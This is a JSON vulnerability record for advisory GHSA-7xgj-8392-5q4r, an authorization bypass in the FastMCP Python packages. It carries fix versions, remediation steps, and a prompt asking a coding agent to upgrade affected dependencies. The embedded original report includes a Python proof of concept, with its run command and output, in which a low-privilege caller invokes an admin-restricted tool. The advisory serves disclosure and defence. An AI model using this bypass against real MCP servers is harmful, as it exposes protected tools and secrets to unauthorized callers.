{"answers":{"affected":"8 open source packages ship an affected version, including fastmcp and fastmcp-slim.","exploited":"There is no known exploitation of GHSA-7xgj-8392-5q4r in the wild and no public exploit code.","fix":"Upgrade fastmcp to a fixed version for your release line: 3.4.10 or 4.1.2.","what":"GHSA-7xgj-8392-5q4r is a vulnerability in fastmcp, published on 23 Oct 2026."},"fix_prompt":"Check this codebase for GHSA-7xgj-8392-5q4r and fix it if it is affected.\n\nWhat it is: GHSA-7xgj-8392-5q4r is a vulnerability in fastmcp, published on 23 Oct 2026. \nExploitation: There is no known exploitation of GHSA-7xgj-8392-5q4r in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- fastmcp (PyPI): affected from 3.0.0; fixed in 3.4.10\n- fastmcp (PyPI): affected from 3.0.0; fixed in 3.4.10\n- fastmcp (PyPI): affected from 4.0.0; fixed in 4.1.2\n- fastmcp (PyPI): affected from 4.0.0; fixed in 4.1.2\n- fastmcp-slim (PyPI): affected from 3.0.0; fixed in 3.4.10\n- fastmcp-slim (PyPI): affected from 3.0.0; fixed in 3.4.10\n- fastmcp-slim (PyPI): affected from 4.0.0; fixed in 4.1.2\n- fastmcp-slim (PyPI): affected from 4.0.0; fixed in 4.1.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-7xgj-8392-5q4r/ (Markdown: https://insights.sbomify.com/GHSA-7xgj-8392-5q4r/index.md)","id":"GHSA-7xgj-8392-5q4r","markdown":"https://insights.sbomify.com/GHSA-7xgj-8392-5q4r/index.md","name":"GHSA-7xgj-8392-5q4r","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.\n\nThe fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.\n\nAffected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.\n\nFixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.\n\n## Original report\n\n# Post-transform component authorization is skipped on direct calls\n\n## Summary\n\nFastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.\n\n## Details\n\n### Attacker prerequisites\n\nA server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.\n\n### Root cause\n\nListing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.\n\n## Proof of concept\n\nSave this as `poc_transform_auth.py`:\n\n```python\nimport anyio\n\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth import restrict_tag\nfrom fastmcp.server.transforms.tool_transform import ToolTransform\nfrom fastmcp.tools.base import Tool\nfrom fastmcp.tools.tool_transform import ToolTransformConfig\n\nasync def main() -\u003e None:\n    server = FastMCP(\"auth-boundary\")\n    server.add_tool(\n        Tool.from_function(\n            lambda: \"PROTECTED SECRET\",\n            name=\"tagged_tool\",\n            tags={\"public\"},\n            auth=restrict_tag(\"admin\", scopes=[\"admin\"]),\n        )\n    )\n    server.add_transform(\n        ToolTransform({\"tagged_tool\": ToolTransformConfig(tags={\"admin\"})})\n    )\n\n    print(\"listed:\", [tool.name for tool in await server.list_tools()])\n    try:\n        result = await server.call_tool(\"tagged_tool\")\n    except Exception as exc:\n        print(\"BLOCKED:\", type(exc).__name__)\n    else:\n        print(\"VULNERABLE: direct call returned\", result.content[0].text)\n\nanyio.run(main)\n```\n\nRun it in an isolated environment:\n\n```bash\nuv run --with fastmcp==4.1.0 -- python poc_transform_auth.py\n```\n\nObserved on 4.1.0 for a caller without the `admin` scope:\n\n```text\nlisted: []\nVULNERABLE: direct call returned PROTECTED SECRET\n```\n\n## Impact\n\nA low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.\n\n### Recommended remediation\n\nApply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.\n\n## AI assistance\n\nYes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"FastMCP: Post-transform component authorization is skipped on direct calls","id":"GHSA-7xgj-8392-5q4r","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":8,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["3.4.10"],"introduced":["3.0.0"],"last_affected":[],"package":"fastmcp","purl":null,"source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["3.4.10"],"introduced":["3.0.0"],"last_affected":[],"package":"fastmcp","purl":"pkg:pypi/fastmcp","source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0"],"last_affected":[],"package":"fastmcp","purl":null,"source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0"],"last_affected":[],"package":"fastmcp","purl":"pkg:pypi/fastmcp","source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["3.4.10"],"introduced":["3.0.0"],"last_affected":[],"package":"fastmcp-slim","purl":null,"source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["3.4.10"],"introduced":["3.0.0"],"last_affected":[],"package":"fastmcp-slim","purl":"pkg:pypi/fastmcp-slim","source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0"],"last_affected":[],"package":"fastmcp-slim","purl":null,"source":"GHSA-7xgj-8392-5q4r"},{"ecosystem":"PyPI","fixed":["4.1.2"],"introduced":["4.0.0"],"last_affected":[],"package":"fastmcp-slim","purl":"pkg:pypi/fastmcp-slim","source":"GHSA-7xgj-8392-5q4r"}],"products":null,"published":"2026-10-23","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/GHSA-7xgj-8392-5q4r/"}